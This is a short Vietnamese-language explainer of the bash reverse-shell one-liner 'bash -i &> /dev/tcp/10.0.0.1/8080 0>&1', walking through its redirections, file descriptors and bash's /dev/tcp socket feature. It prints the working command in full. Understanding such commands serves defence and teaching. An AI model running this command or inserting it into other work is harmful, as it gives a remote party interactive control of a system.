Ngữ cảnh
Trying to understand the command:
bash -i &> /dev/tcp/10.0.0.1/8080 0>&1
Giải thích
bash -i : mở shell tương tác
&> : chuyển hướng đầu ra tiêu chuẩn và đầu ra lỗi sang socke được mở tới IP 10.0.0.1 sẽ nghe trên cổng 8080
0>&1 : Điều này có nghĩa đen là ‘0’ được gắn vào ‘1’, có nghĩa là stdin được gắn vào stdout chuẩn
Chi tiết hơn:
Bản thân &> file cũng giống như > file 2>&1, đó là tệp đang mở ở chế độ chỉ ghi trên file descriptor 1 và sao chép file descriptor 1 đó sang file descriptor 2, sao cho cả fd 1 và 2 (stdout và stderr) trỏ đến file description đang mở đó.
0>&1 (tương tự 0<&1 hoặc <&1) thêm 0 (stdin) vào danh sách. Nó cũng sao chép fd 1 thành 0 (fd 0 được tạo để trỏ đến cùng một tài nguyên như được trỏ đến bởi fd 1).
Bây giờ, khi thực hiện > /dev/tcp/host/port trong bash, thay vì thực hiện open(file, O_WRONLY), bash tạo một TCP socket và kết nối nó với host:port. Đó không phải là chuyển hướng write-only, đó là read+write network socket.
Vì vậy, kết thúc với fds 0, 1 và 2 của bash -i như một TCP socket. Khi bash -i đọc trên stdin, nó sẽ đọc từ socket, vì vậy từ bất kỳ thứ gì nằm ở đầu kia của host:post và khi nó (hoặc bất kỳ lệnh nào chạy từ đó) ghi vào fd 1 hoặc 2, nó sẽ được gửi qua socket đó .